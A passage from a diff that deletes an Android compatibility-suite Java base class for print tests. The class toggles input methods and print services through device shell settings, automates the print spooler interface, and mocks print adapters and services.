- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts;
-
-import static android.content.pm.PackageManager.GET_META_DATA;
-import static android.content.pm.PackageManager.GET_SERVICES;
-import static android.print.cts.Utils.getPrintManager;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.doCallRealMethod;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-import static org.mockito.hamcrest.MockitoHamcrest.argThat;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.content.res.Resources;
-import android.graphics.pdf.PdfDocument;
-import android.os.Bundle;
-import android.os.CancellationSignal;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.print.PageRange;
-import android.print.PrintAttributes;
-import android.print.PrintDocumentAdapter;
-import android.print.PrintDocumentAdapter.LayoutResultCallback;
-import android.print.PrintDocumentAdapter.WriteResultCallback;
-import android.print.PrintDocumentInfo;
-import android.print.PrinterId;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.StubbablePrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.print.pdf.PrintedPdfDocument;
-import android.printservice.CustomPrinterIconCallback;
-import android.printservice.PrintJob;
-import android.provider.Settings;
-import android.support.annotation.NonNull;
-import android.support.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiSelector;
-import android.util.Log;
-import android.util.SparseArray;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.hamcrest.BaseMatcher;
-import org.hamcrest.Description;
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.rules.TestRule;
-import org.junit.runners.model.Statement;
-import org.mockito.InOrder;
-import org.mockito.stubbing.Answer;
-
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.lang.annotation.Annotation;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-/**
- * This is the base class for print tests.
- */
-public abstract class BasePrintTest {
- private final static String LOG_TAG = "BasePrintTest";
-
- static final long OPERATION_TIMEOUT_MILLIS = 60000;
- static final String PRINT_JOB_NAME = "Test";
- static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
-
- private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
- private static final String PM_CLEAR_SUCCESS_OUTPUT = "Success";
- private static final String COMMAND_LIST_ENABLED_IME_COMPONENTS = "ime list -s";
- private static final String COMMAND_PREFIX_ENABLE_IME = "ime enable ";
- private static final String COMMAND_PREFIX_DISABLE_IME = "ime disable ";
- private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
- private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
-
- private static final AtomicInteger sLastTestID = new AtomicInteger();
- private int mTestId;
- private PrintDocumentActivity mActivity;
-
- private static String sDisabledPrintServicesBefore;
-
- private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
-
- public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
-
- /**
- * Return the UI device
- *
- * @return the UI device
- */
- public UiDevice getUiDevice() {
- return UiDevice.getInstance(getInstrumentation());
- }
-
- private CallCounter mCancelOperationCounter;
- private CallCounter mLayoutCallCounter;
- private CallCounter mWriteCallCounter;
- private CallCounter mWriteCancelCallCounter;
- private CallCounter mFinishCallCounter;
- private CallCounter mPrintJobQueuedCallCounter;
- private CallCounter mCreateSessionCallCounter;
- private CallCounter mDestroySessionCallCounter;
- private CallCounter mDestroyActivityCallCounter = new CallCounter();
- private CallCounter mCreateActivityCallCounter = new CallCounter();
-
- private static String[] sEnabledImes;
-
- private static String[] getEnabledImes() throws IOException {
- List<String> imeList = new ArrayList<>();
-
- ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
- .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
- try (BufferedReader reader = new BufferedReader(
- new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
-
- String line;
- while ((line = reader.readLine()) != null) {
- imeList.add(line);
- }
- }
-
- String[] imeArray = new String[imeList.size()];
- imeList.toArray(imeArray);
-
- return imeArray;
- }
-
- private static void disableImes() throws Exception {
- sEnabledImes = getEnabledImes();
- for (String ime : sEnabledImes) {
- String disableImeCommand = COMMAND_PREFIX_DISABLE_IME + ime;
- SystemUtil.runShellCommand(getInstrumentation(), disableImeCommand);
- }
- }
-
- private static void enableImes() throws Exception {
- for (String ime : sEnabledImes) {
- String enableImeCommand = COMMAND_PREFIX_ENABLE_IME + ime;
- SystemUtil.runShellCommand(getInstrumentation(), enableImeCommand);
- }
- sEnabledImes = null;
- }
-
- protected static Instrumentation getInstrumentation() {
- return InstrumentationRegistry.getInstrumentation();
- }
-
- @BeforeClass
- public static void setUpClass() throws Exception {
- Log.d(LOG_TAG, "setUpClass()");
-
- Instrumentation instrumentation = getInstrumentation();
-
- // Make sure we start with a clean slate.
- Log.d(LOG_TAG, "clearPrintSpoolerData()");
- clearPrintSpoolerData();
- Log.d(LOG_TAG, "disableImes()");
- disableImes();
- Log.d(LOG_TAG, "disablePrintServices()");
- disablePrintServices(instrumentation.getTargetContext().getPackageName());
-
- // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
- // Dexmaker is used by mockito.
- System.setProperty("dexmaker.dexcache", instrumentation
- .getTargetContext().getCacheDir().getPath());
-
- Log.d(LOG_TAG, "setUpClass() done");
- }
-
- /**
- * Disable all print services beside the ones we want to leave enabled.
- *
- * @param packageToLeaveEnabled The package of the services to leave enabled.
- */
- private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
- throws IOException {
- Instrumentation instrumentation = getInstrumentation();
-
- sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
- "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
-
- Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
- List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
- .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
-
- StringBuilder builder = new StringBuilder();
- for (ResolveInfo service : installedServices) {
- if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
- continue;
- }
- if (builder.length() > 0) {
- builder.append(":");
- }
- builder.append(new ComponentName(service.serviceInfo.packageName,
- service.serviceInfo.name).flattenToString());
- }
-
- SystemUtil.runShellCommand(instrumentation, "settings put secure "
- + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
- }
-
- /**
- * Revert {@link #disablePrintServices(String)}
- */
- private static void enablePrintServices() throws IOException {
- SystemUtil.runShellCommand(getInstrumentation(),
- "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
- + sDisabledPrintServicesBefore);
- }
-
- @Before
- public void setUp() throws Exception {
- Log.d(LOG_TAG, "setUp()");
-
- assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_PRINTING));
-
- // Initialize the latches.
- Log.d(LOG_TAG, "init counters");
- mCancelOperationCounter = new CallCounter();
- mLayoutCallCounter = new CallCounter();
- mFinishCallCounter = new CallCounter();
- mWriteCallCounter = new CallCounter();
- mWriteCancelCallCounter = new CallCounter();
- mFinishCallCounter = new CallCounter();
- mPrintJobQueuedCallCounter = new CallCounter();
- mCreateSessionCallCounter = new CallCounter();
- mDestroySessionCallCounter = new CallCounter();
-
- mTestId = sLastTestID.incrementAndGet();
- sIdToTest.put(mTestId, this);
-
- // Create the activity if needed
- if (!mShouldStartActivityRule.noActivity) {
- createActivity();
- }
-
- Log.d(LOG_TAG, "setUp() done");
- }
-
- @After
- public void tearDown() throws Exception {
- Log.d(LOG_TAG, "tearDown()");
-
- finishActivity();
-
- sIdToTest.remove(mTestId);
-
- Log.d(LOG_TAG, "tearDown() done");
- }
-
- @AfterClass
- public static void tearDownClass() throws Exception {
- Log.d(LOG_TAG, "tearDownClass()");
-
- Instrumentation instrumentation = getInstrumentation();
-
- Log.d(LOG_TAG, "enablePrintServices()");
- enablePrintServices();
-
- Log.d(LOG_TAG, "enableImes()");
- enableImes();
-
- // Make sure the spooler is cleaned, this also un-approves all services
- Log.d(LOG_TAG, "clearPrintSpoolerData()");
- clearPrintSpoolerData();
-
- SystemUtil.runShellCommand(instrumentation, "settings put secure "
- + Settings.Secure.DISABLED_PRINT_SERVICES + " null");
-
- Log.d(LOG_TAG, "tearDownClass() done");
- }
-
- protected void print(final PrintDocumentAdapter adapter, final PrintAttributes attributes) {
- print(adapter, "Print job", attributes);
- }
-
- protected void print(PrintDocumentAdapter adapter) {
- print(adapter, (PrintAttributes) null);
- }
-
- protected void print(PrintDocumentAdapter adapter, String printJobName) {
- print(adapter, printJobName, null);
- }
-
- /**
- * Start printing
- *
- * @param adapter Adapter supplying data to print
- * @param printJobName The name of the print job
- */
- protected void print(@NonNull PrintDocumentAdapter adapter, @NonNull String printJobName,
- @Nullable PrintAttributes attributes) {
- // Initiate printing as if coming from the app.
- getInstrumentation()
- .runOnMainSync(() -> getPrintManager(getActivity()).print(printJobName, adapter,
- attributes));
- }
-
- void onCancelOperationCalled() {
- mCancelOperationCounter.call();
- }
-
- void onLayoutCalled() {
- mLayoutCallCounter.call();
- }
-
- int getWriteCallCount() {
- return mWriteCallCounter.getCallCount();
- }
-
- protected void onWriteCalled() {
- mWriteCallCounter.call();
- }
-
- protected void onWriteCancelCalled() {
- mWriteCancelCallCounter.call();
- }
-
- void onFinishCalled() {
- mFinishCallCounter.call();
- }
-
- void onPrintJobQueuedCalled() {
- mPrintJobQueuedCallCounter.call();
- }
-
- void onPrinterDiscoverySessionCreateCalled() {
- mCreateSessionCallCounter.call();
- }
-
- protected void onPrinterDiscoverySessionDestroyCalled() {
- mDestroySessionCallCounter.call();
- }
-
- void waitForCancelOperationCallbackCalled() {
- waitForCallbackCallCount(mCancelOperationCounter, 1,
- "Did not get expected call to onCancel for the current operation.");
- }
-
- void waitForPrinterDiscoverySessionCreateCallbackCalled() {
- waitForCallbackCallCount(mCreateSessionCallCounter, 1,
- "Did not get expected call to onCreatePrinterDiscoverySession.");
- }
-
- void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
- waitForCallbackCallCount(mDestroySessionCallCounter, count,
- "Did not get expected call to onDestroyPrinterDiscoverySession.");
- }
-
- void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
- waitForCallbackCallCount(mPrintJobQueuedCallCounter, count,
- "Did not get expected call to onPrintJobQueued.");
- }
-
- void waitForAdapterFinishCallbackCalled() {
- waitForCallbackCallCount(mFinishCallCounter, 1,
- "Did not get expected call to finish.");
- }
-
- void waitForLayoutAdapterCallbackCount(int count) {
- waitForCallbackCallCount(mLayoutCallCounter, count,
- "Did not get expected call to layout.");
- }
-
- void waitForWriteAdapterCallback(int count) {
- waitForCallbackCallCount(mWriteCallCounter, count, "Did not get expected call to write.");
- }
-
- void waitForWriteCancelCallback(int count) {
- waitForCallbackCallCount(mWriteCancelCallCounter, count,
- "Did not get expected cancel of write.");
- }
-
- private static void waitForCallbackCallCount(CallCounter counter, int count, String message) {
- try {
- counter.waitForCount(count, OPERATION_TIMEOUT_MILLIS);
- } catch (TimeoutException te) {
- fail(message);
- }
- }
-
- /**
- * Indicate the print activity was created.
- */
- static void onActivityCreateCalled(int testId, PrintDocumentActivity activity) {
- synchronized (sIdToTest) {
- BasePrintTest test = sIdToTest.get(testId);
- if (test != null) {
- test.mActivity = activity;
- test.mCreateActivityCallCounter.call();
- }
- }
- }
-
- /**
- * Indicate the print activity was destroyed.
- */
- static void onActivityDestroyCalled(int testId) {
- synchronized (sIdToTest) {
- BasePrintTest test = sIdToTest.get(testId);
- if (test != null) {
- test.mDestroyActivityCallCounter.call();
- }
- }
- }
-
- private void finishActivity() {
- Activity activity = mActivity;
-
- if (activity != null) {
- if (!activity.isFinishing()) {
- activity.finish();
- }
-
- while (!activity.isDestroyed()) {
- int creates = mCreateActivityCallCounter.getCallCount();
- waitForCallbackCallCount(mDestroyActivityCallCounter, creates,
- "Activity was not destroyed");
- }
- }
- }
-
- /**
- * Get the number of ties the print activity was destroyed.
- *
- * @return The number of onDestroy calls on the print activity.
- */
- int getActivityDestroyCallbackCallCount() {
- return mDestroyActivityCallCounter.getCallCount();
- }
-
- /**
- * Get the number of ties the print activity was created.
- *
- * @return The number of onCreate calls on the print activity.
- */
- private int getActivityCreateCallbackCallCount() {
- return mCreateActivityCallCounter.getCallCount();
- }
-
- /**
- * Wait until create was called {@code count} times.
- *
- * @param count The number of create calls to expect.
- */
- private void waitForActivityCreateCallbackCalled(int count) {
- waitForCallbackCallCount(mCreateActivityCallCounter, count,
- "Did not get expected call to create.");
- }
-
- /**
- * Reset all counters.
- */
- void resetCounters() {
- mCancelOperationCounter.reset();
- mLayoutCallCounter.reset();
- mWriteCallCounter.reset();
- mWriteCancelCallCounter.reset();
- mFinishCallCounter.reset();
- mPrintJobQueuedCallCounter.reset();
- mCreateSessionCallCounter.reset();
- mDestroySessionCallCounter.reset();
- mDestroyActivityCallCounter.reset();
- mCreateActivityCallCounter.reset();
- }
-
- void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
- try {
- long delay = 1;
- while (true) {
- try {
- UiDevice uiDevice = getUiDevice();
- UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
- .resourceId("com.android.printspooler:id/destination_spinner"));
-
- destinationSpinner.click();
- getUiDevice().waitForIdle();
-
- // Give spinner some time to expand
- try {
- Thread.sleep(delay);
- } catch (InterruptedException e) {
- // ignore
- }
-
- // try to select printer
- UiObject printerOption = uiDevice.findObject(
- new UiSelector().text(printerName));
- printerOption.click();
- } catch (UiObjectNotFoundException e) {
- Log.e(LOG_TAG, "Could not select printer " + printerName, e);
- }
-
- getUiDevice().waitForIdle();
-
- if (!printerName.equals("All printers…")) {
- // Make sure printer is selected
- if (getUiDevice().hasObject(By.text(printerName))) {
- break;
- } else {
- if (delay <= OPERATION_TIMEOUT_MILLIS) {
- Log.w(LOG_TAG, "Cannot find printer " + printerName + ", retrying.");
- delay *= 2;
- } else {
- throw new UiObjectNotFoundException(
- "Could find printer " + printerName +
- " even though we retried");
- }
- }
- } else {
- break;
- }
- }
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
- UiObject button;
- if (confirm) {
- button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
- } else {
- button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
- }
- button.click();
- }
-
- void changeOrientation(String orientation) throws UiObjectNotFoundException, IOException {
- try {
- UiDevice uiDevice = getUiDevice();
- UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/orientation_spinner"));
- orientationSpinner.click();
- UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
- orientationOption.click();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- protected String getOrientation() throws UiObjectNotFoundException, IOException {
- try {
- UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/orientation_spinner"));
- return orientationSpinner.getText();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
- try {
- UiDevice uiDevice = getUiDevice();
- UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/paper_size_spinner"));
- mediaSizeSpinner.click();
- UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
- mediaSizeOption.click();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void changeColor(String color) throws UiObjectNotFoundException, IOException {
- try {
- UiDevice uiDevice = getUiDevice();
- UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/color_spinner"));
- colorSpinner.click();
- UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
- colorOption.click();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- protected String getColor() throws UiObjectNotFoundException, IOException {
- try {
- UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/color_spinner"));
- return colorSpinner.getText();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
- try {
- UiDevice uiDevice = getUiDevice();
- UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/duplex_spinner"));
- duplexSpinner.click();
- UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
- duplexOption.click();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
- try {
- UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/copies_edittext"));
- copies.setText(Integer.valueOf(newCopies).toString());
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- protected String getCopies() throws UiObjectNotFoundException, IOException {
- try {
- UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/copies_edittext"));
- return copies.getText();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
- assertFalse(getUiDevice().hasObject(By.res("com.android.printspooler:id/print_button")));
- }
-
- void clickPrintButton() throws UiObjectNotFoundException, IOException {
- try {
- UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/print_button"));
- printButton.click();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void clickRetryButton() throws UiObjectNotFoundException, IOException {
- try {
- UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/action_button"));
- retryButton.click();
- } catch (UiObjectNotFoundException e) {
- dumpWindowHierarchy();
- throw e;
- }
- }
-
- void dumpWindowHierarchy() throws IOException {
- ByteArrayOutputStream os = new ByteArrayOutputStream();
- getUiDevice().dumpWindowHierarchy(os);
-
- Log.w(LOG_TAG, "Window hierarchy:");
- for (String line : os.toString("UTF-8").split("\n")) {
- Log.w(LOG_TAG, line);
- }
- }
-
- protected PrintDocumentActivity getActivity() {
- return mActivity;
- }
-
- protected void createActivity() {
- Log.d(LOG_TAG, "createActivity()");
-
- int createBefore = getActivityCreateCallbackCallCount();
-
- Intent intent = new Intent(Intent.ACTION_MAIN);
- intent.putExtra(TEST_ID, mTestId);
-
- Instrumentation instrumentation = getInstrumentation();
- intent.setClassName(instrumentation.getTargetContext().getPackageName(),
- PrintDocumentActivity.class.getName());
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- instrumentation.startActivitySync(intent);
-
- waitForActivityCreateCallbackCalled(createBefore + 1);
- }
-
- void openPrintOptions() throws UiObjectNotFoundException {
- UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/expand_collapse_handle"));
- expandHandle.click();
- }
-
- void openCustomPrintOptions() throws UiObjectNotFoundException {
- UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/more_options_button"));
- expandHandle.click();
- }
-
- static void clearPrintSpoolerData() throws Exception {
- if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_PRINTING)) {
- assertTrue("failed to clear print spooler data",
- SystemUtil.runShellCommand(getInstrumentation(), String.format(
- "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
- .contains(PM_CLEAR_SUCCESS_OUTPUT));
- }
- }
-
- void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
- PrintAttributes oldAttributes, PrintAttributes newAttributes,
- final boolean forPreview) {
- inOrder.verify(mock).onLayout(eq(oldAttributes), eq(newAttributes),
- any(CancellationSignal.class), any(LayoutResultCallback.class), argThat(
- new BaseMatcher<Bundle>() {
- @Override
- public boolean matches(Object item) {
- Bundle bundle = (Bundle) item;
- return forPreview == bundle.getBoolean(
- PrintDocumentAdapter.EXTRA_PRINT_PREVIEW);
- }
-
- @Override
- public void describeTo(Description description) {
- /* do nothing */
- }
- }));
- }
-
- PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
- Answer<Void> writeAnswer, Answer<Void> finishAnswer) {
- // Create a mock print adapter.
- PrintDocumentAdapter adapter = mock(PrintDocumentAdapter.class);
- if (layoutAnswer != null) {
- doAnswer(layoutAnswer).when(adapter).onLayout(any(PrintAttributes.class),
- any(PrintAttributes.class), any(CancellationSignal.class),
- any(LayoutResultCallback.class), any(Bundle.class));
- }
- if (writeAnswer != null) {
- doAnswer(writeAnswer).when(adapter).onWrite(any(PageRange[].class),
- any(ParcelFileDescriptor.class), any(CancellationSignal.class),
- any(WriteResultCallback.class));
- }
- if (finishAnswer != null) {
- doAnswer(finishAnswer).when(adapter).onFinish();
- }
- return adapter;
- }
-
- /**
- * Create a mock {@link PrintDocumentAdapter} that provides one empty page.
- *
- * @return The mock adapter
- */
- @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
- final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
- return createMockPrintDocumentAdapter(
- invocation -> {
- PrintAttributes oldAttributes = (PrintAttributes) invocation.getArguments()[0];
- printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
- PrintDocumentAdapter.LayoutResultCallback callback =
- (PrintDocumentAdapter.LayoutResultCallback) invocation
- .getArguments()[3];
-
- callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
- .setPageCount(numPages).build(),
- !oldAttributes.equals(printAttributes[0]));
-
- oldAttributes = printAttributes[0];
-
- onLayoutCalled();
- return null;
- }, invocation -> {
- Object[] args = invocation.getArguments();
- PageRange[] pages = (PageRange[]) args[0];
- ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
- PrintDocumentAdapter.WriteResultCallback callback =
- (PrintDocumentAdapter.WriteResultCallback) args[3];
-
- writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
- fd.close();
- callback.onWriteFinished(pages);
-
- onWriteCalled();
- return null;
- }, invocation -> {
- onFinishCalled();
- return null;
- });
- }
-
- @SuppressWarnings("unchecked")
- protected static PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
- Answer<Void> onStartPrinterDiscovery, Answer<Void> onStopPrinterDiscovery,
- Answer<Void> onValidatePrinters, Answer<Void> onStartPrinterStateTracking,
- Answer<Void> onRequestCustomPrinterIcon, Answer<Void> onStopPrinterStateTracking,
- Answer<Void> onDestroy) {
- PrinterDiscoverySessionCallbacks callbacks = mock(PrinterDiscoverySessionCallbacks.class);
-
- doCallRealMethod().when(callbacks).setSession(any(StubbablePrinterDiscoverySession.class));
- when(callbacks.getSession()).thenCallRealMethod();
-
- if (onStartPrinterDiscovery != null) {
- doAnswer(onStartPrinterDiscovery).when(callbacks).onStartPrinterDiscovery(
- any(List.class));
- }
- if (onStopPrinterDiscovery != null) {
- doAnswer(onStopPrinterDiscovery).when(callbacks).onStopPrinterDiscovery();
- }
- if (onValidatePrinters != null) {
- doAnswer(onValidatePrinters).when(callbacks).onValidatePrinters(
- any(List.class));
- }
- if (onStartPrinterStateTracking != null) {
- doAnswer(onStartPrinterStateTracking).when(callbacks).onStartPrinterStateTracking(
- any(PrinterId.class));
- }
- if (onRequestCustomPrinterIcon != null) {
- doAnswer(onRequestCustomPrinterIcon).when(callbacks).onRequestCustomPrinterIcon(
- any(PrinterId.class), any(CancellationSignal.class),
- any(CustomPrinterIconCallback.class));
- }
- if (onStopPrinterStateTracking != null) {
- doAnswer(onStopPrinterStateTracking).when(callbacks).onStopPrinterStateTracking(
- any(PrinterId.class));
- }
- if (onDestroy != null) {
- doAnswer(onDestroy).when(callbacks).onDestroy();
- }
-
- return callbacks;
- }
-
- protected PrintServiceCallbacks createMockPrintServiceCallbacks(
- Answer<PrinterDiscoverySessionCallbacks> onCreatePrinterDiscoverySessionCallbacks,
- Answer<Void> onPrintJobQueued, Answer<Void> onRequestCancelPrintJob) {
- final PrintServiceCallbacks service = mock(PrintServiceCallbacks.class);
-
- doCallRealMethod().when(service).setService(any(StubbablePrintService.class));
- when(service.getService()).thenCallRealMethod();
-
- if (onCreatePrinterDiscoverySessionCallbacks != null) {
- doAnswer(onCreatePrinterDiscoverySessionCallbacks).when(service)
- .onCreatePrinterDiscoverySessionCallbacks();
- }
- if (onPrintJobQueued != null) {
- doAnswer(onPrintJobQueued).when(service).onPrintJobQueued(any(PrintJob.class));
- }
- if (onRequestCancelPrintJob != null) {
- doAnswer(onRequestCancelPrintJob).when(service).onRequestCancelPrintJob(
- any(PrintJob.class));
- }
-
- return service;
- }
-
- protected void writeBlankPages(PrintAttributes constraints, ParcelFileDescriptor output,
- int fromIndex, int toIndex) throws IOException {
- PrintedPdfDocument document = new PrintedPdfDocument(getActivity(), constraints);
- final int pageCount = toIndex - fromIndex + 1;
- for (int i = 0; i < pageCount; i++) {
- PdfDocument.Page page = document.startPage(i);
- document.finishPage(page);
- }
- FileOutputStream fos = new FileOutputStream(output.getFileDescriptor());
- document.writeTo(fos);
- fos.flush();
- document.close();
- }
-
- protected void selectPages(String pages, int totalPages) throws Exception {
- UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/range_options_spinner"));
- pagesSpinner.click();
-
- UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains(
- getPrintSpoolerStringOneParam("template_page_range", totalPages)));
- rangeOption.click();
-
- UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/page_range_edittext"));
- pagesEditText.setText(pages);
-
- // Hide the keyboard.
- getUiDevice().pressBack();
- }
-
- private static final class CallCounter {
- private final Object mLock = new Object();
-
- private int mCallCount;
-
- public void call() {
- synchronized (mLock) {
- mCallCount++;
- mLock.notifyAll();
- }
- }
-
- int getCallCount() {
- synchronized (mLock) {
- return mCallCount;
- }
- }
-
- public void reset() {
- synchronized (mLock) {
- mCallCount = 0;
- }
- }
-
- public void waitForCount(int count, long timeoutMillis) throws TimeoutException {
- synchronized (mLock) {
- final long startTimeMillis = SystemClock.uptimeMillis();
- while (mCallCount < count) {
- try {
- final long elapsedTimeMillis = SystemClock.uptimeMillis() - startTimeMillis;
- final long remainingTimeMillis = timeoutMillis - elapsedTimeMillis;
- if (remainingTimeMillis <= 0) {
- throw new TimeoutException();
- }
- mLock.wait(timeoutMillis);
- } catch (InterruptedException ie) {
- /* ignore */
- }
- }
- }
- }
- }
-
-
- /**
- * Make {@code printerName} the default printer by adding it to the history of printers by
- * printing once.
- *
- * @param adapter The {@link PrintDocumentAdapter} used
- * @throws Exception If the printer could not be made default
- */
- void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
- throws Exception {
- // Perform a full print operation on the printer
- Log.d(LOG_TAG, "print");
- print(adapter);
- Log.d(LOG_TAG, "waitForWriteAdapterCallback");
- waitForWriteAdapterCallback(1);
- Log.d(LOG_TAG, "selectPrinter");
- selectPrinter(printerName);
- Log.d(LOG_TAG, "clickPrintButton");
- clickPrintButton();
- Log.d(LOG_TAG, "answerPrintServicesWarning");
- answerPrintServicesWarning(true);
- Log.d(LOG_TAG, "waitForPrinterDiscoverySessionDestroyCallbackCalled");
- waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
-
- // Switch to new activity, which should now use the default printer
- Log.d(LOG_TAG, "getActivity().finish()");
- getActivity().finish();
-
- createActivity();
- }
-
- /**
- * Get a string array from the print spooler's resources.
- *
- * @param resourceName The name of the array resource
- * @return The localized string array
- *
- * @throws Exception If anything is unexpected
- */
- String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
- PackageManager pm = getActivity().getPackageManager();
- Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
- int id = printSpoolerRes.getIdentifier(resourceName, "array", PRINTSPOOLER_PACKAGE);
- return printSpoolerRes.getStringArray(id);
- }
-
- /**
- * Get a string from the print spooler's resources.
- *
- * @param resourceName The name of the string resource
- * @return The localized string
- *
- * @throws Exception If anything is unexpected
- */
- String getPrintSpoolerString(String resourceName) throws Exception {
